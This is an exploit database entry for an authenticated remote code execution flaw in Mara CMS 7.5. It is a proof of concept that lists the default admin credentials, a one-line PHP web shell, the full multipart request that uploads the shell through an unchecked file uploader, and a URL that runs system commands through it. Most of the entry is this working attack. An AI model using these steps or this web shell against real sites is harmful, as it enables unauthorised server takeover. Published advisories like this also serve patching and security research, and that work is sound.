Mara CMS 7.5 - Remote Code Execution (Authenticated)

EDB-ID:

48780

CVE:

N/A


Author:

0blio_

Type:

webapps


Platform:

PHP

Date:

2020-09-01


# Exploit Title: Mara CMS 7.5 - Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020-08-31
# Exploit Author: Michele Cisternino (0blio_)
# Vendor Homepage: https://sourceforge.net/projects/maracms/
# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
# Version: 7.5
# Tested on: Kali Linux(x64)
# CVE: N/A


# Description


MaraCMS 7.5 is vulnerable to Authenticated Remote Code Execution.
In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS as 'admin' or 'manager'.
The file uploader fails to check extensions of files uploaded by the user, so it is possible to upload a webshell and get RCE.


# PoC


1. Login on MaraCMS. Default credentials are:
      Username: admin
      Password: changeme


2. Navigate the file upload functionality (http://target/codebase/dir.php?type=filenew) and upload a file called 'webshell.php' with content '<?php system($_GET["cmd"]); ?>'.
    A request similar to the following will be made:


        POST /codebase/handler.php HTTP/1.1
        Host: localhost
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        Content-Type: multipart/form-data; boundary=---------------------------1202504167994776142974823268
        Content-Length: 1282
        Origin: http://localhost
        Connection: close
        Referer: http://localhost/codebase/dir.php?type=filenew
        Cookie: your_sitename_session_session=krevi5f3gr416p3o7cqdk4j1vv
        Upgrade-Insecure-Requests: 1


        -----------------------------1202504167994776142974823268
        Content-Disposition: form-data; name="authenticated"


        MQ==
        -----------------------------1202504167994776142974823268
        Content-Disposition: form-data; name="action"


        dXBsb2Fk
        -----------------------------1202504167994776142974823268
        Content-Disposition: form-data; name="MAX_FILE_SIZE"


        10485760
        -----------------------------1202504167994776142974823268
        Content-Disposition: form-data; name="type"


        filenew
        -----------------------------1202504167994776142974823268
        Content-Disposition: form-data; name="files[]"; filename="webshell.php"
        Content-Type: application/x-php


        <?php system($_GET["cmd"]); ?>


        -----------------------------1202504167994776142974823268
        Content-Disposition: form-data; name="usr"


        YWRtaW4=
        -----------------------------1202504167994776142974823268
        Content-Disposition: form-data; name="pwd"


        MWUyNzUwMTA3OTgyNzQ2NTQ5ZDZlYWY0MWNmMzcwZTBlZTc3NWNiNWZiNTExMWNhOGI5ZWNjNWI0M2JkOGE2NA==
        -----------------------------1202504167994776142974823268
        Content-Disposition: form-data; name="authenticated"


        MQ==
        -----------------------------1202504167994776142974823268
        Content-Disposition: form-data; name="destdir"




        -----------------------------1202504167994776142974823268--


3. Execute remote commands by navigating:

     http://target/webshell.php?cmd=whoami